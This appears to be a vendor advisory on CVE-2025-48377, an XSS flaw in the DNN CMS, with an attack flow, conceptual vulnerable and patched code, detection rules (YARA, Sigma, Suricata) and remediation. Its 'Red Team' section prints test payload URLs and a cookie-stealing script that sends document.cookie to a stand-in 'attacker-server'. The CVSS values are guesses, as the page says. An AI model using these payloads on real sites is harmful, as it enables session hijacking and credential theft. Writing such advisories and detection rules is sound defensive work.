CVE-2025-48377
Executive Summary
CVE-2025-48377 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in the DNN (formerly DotNetNuke) web content management platform. An attacker can craft a specially designed URL that, when processed by certain module actions, injects and executes arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability affects all DNN versions prior to 9.13.9. No public proof-of-concept (PoC) or exploit code has been released at this time. The vendor has released a fix in version 9.13.9.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD has not yet assigned a score)
- Attack Vector (AV): Network (likely)
- Attack Complexity (AC): Low (likely)
- Privileges Required (PR): None (likely)
- User Interaction (UI): Required (victim must click the crafted link)
- Scope (S): Changed (likely)
- Confidentiality (C): Low (likely)
- Integrity (I): Low (likely)
- Availability (A): None (likely)
- Threat Level: High – XSS vulnerabilities in CMS platforms are frequently targeted for phishing and credential harvesting campaigns.
Deep Dive & Mechanics
The vulnerability resides in how DNN processes URL parameters within specific module actions. When a user accesses a crafted URL, the malicious payload is not properly sanitized or encoded before being rendered in the page output. This allows an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- An attacker identifies a DNN instance running a vulnerable version.
- The attacker crafts a URL containing an XSS payload in a parameter that is reflected or stored by a module action (e.g.,
?ctl=action¶m=<script>alert('XSS')</script>). - The attacker distributes this URL via phishing email, social media, or other channels.
- A victim clicks the link and is directed to the vulnerable DNN site.
- The DNN server processes the request and includes the unsanitized payload in the HTML response.
- The victim’s browser executes the malicious script, which can steal cookies, redirect to a phishing page, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-9.13.9):
The vulnerable code likely uses Response.Write() or a similar method to output user-supplied input without encoding.
// Vulnerable example (conceptual)
string userInput = Request.QueryString["param"];
Response.Write("<div>" + userInput + "</div>");
Patched Code (9.13.9):
The patched code properly encodes the output using AntiXssEncoder.HtmlEncode() or Server.HtmlEncode().
// Patched example (conceptual)
string userInput = Request.QueryString["param"];
Response.Write("<div>" + AntiXssEncoder.HtmlEncode(userInput, true) + "</div>");
Exploitation & Lab Setup
Red Team (Offensive)
Since no public exploit code is available, a manual test can be performed.
- Setup: Deploy a vulnerable DNN instance (version < 9.13.9) in a lab environment.
- Craft Payload: Create a URL with a simple XSS payload:
http://target-dnn-site/Default.aspx?tabid=123&ctl=action¶m=<script>alert('XSS')</script> - Execute: Open the crafted URL in a browser. If the vulnerability is present, an alert box with "XSS" will appear.
- Advanced Payload: For session hijacking, use a payload that exfiltrates cookies:
<script>fetch('http://attacker-server/steal?cookie='+document.cookie)</script>
Blue Team (Defensive)
- Detection: Monitor web server logs for requests containing suspicious patterns like
<script>,onerror=, orjavascript:in URL parameters. - Honeypot: Deploy a decoy DNN instance with logging to capture attacker behavior.
- WAF Rule: Implement a Web Application Firewall rule to block common XSS patterns in URL parameters.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to DNN pages with unusual parameters containing
<script>,onerror,onload, orjavascript:. - Outbound connections from the DNN server to unknown external IPs (potential data exfiltration).
- HTTP requests to DNN pages with unusual parameters containing
- Host IOCs:
- Unexpected JavaScript files in the DNN installation directory (e.g.,
/Portals/_default/Skins/). - Modified DNN configuration files (e.g.,
web.config) containing malicious redirects.
- Unexpected JavaScript files in the DNN installation directory (e.g.,
- Log IOCs:
- Web server logs showing 200 responses to URLs with XSS payloads.
- Application logs showing errors related to HTML encoding or script execution.
Detection Engineering
YARA Rule
rule CVE_2025_48377_XSS_Payload {
meta:
description = "Detects XSS payloads targeting DNN CVE-2025-48377"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-48377"
strings:
$xss1 = "<script>" nocase
$xss2 = "onerror=" nocase
$xss3 = "onload=" nocase
$xss4 = "javascript:" nocase
$xss5 = "alert(" nocase
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: DNN XSS Attempt (CVE-2025-48377)
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with XSS payloads in URL parameters targeting DNN
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: iis
detection:
selection:
cs-uri-query|contains:
- '<script>'
- 'onerror='
- 'onload='
- 'javascript:'
- 'alert('
condition: selection
falsepositives:
- Legitimate use of JavaScript in URL parameters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-48377 DNN XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-48377 DNN XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"onerror="; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-48377 DNN XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"onload="; http_uri; nocase; sid:1000003; rev:1;)
alert http any any -> any any (msg:"CVE-2025-48377 DNN XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"javascript:"; http_uri; nocase; sid:1000004; rev:1;)
alert http any any -> any any (msg:"CVE-2025-48377 DNN XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"alert("; http_uri; nocase; sid:1000005; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade all DNN instances to version 9.13.9 or later.
- Workaround: If immediate patching is not possible, implement a Web Application Firewall (WAF) rule to block requests containing
<script>,onerror=,onload=,javascript:, oralert(in URL parameters. - Code Review: Review custom DNN modules for similar XSS vulnerabilities and ensure all user input is properly encoded before output.
- User Education: Train users to be cautious of clicking links in unsolicited emails, especially those pointing to internal DNN sites.
- Monitoring: Enable detailed logging on DNN servers and monitor for the IOCs listed above.
Valters IT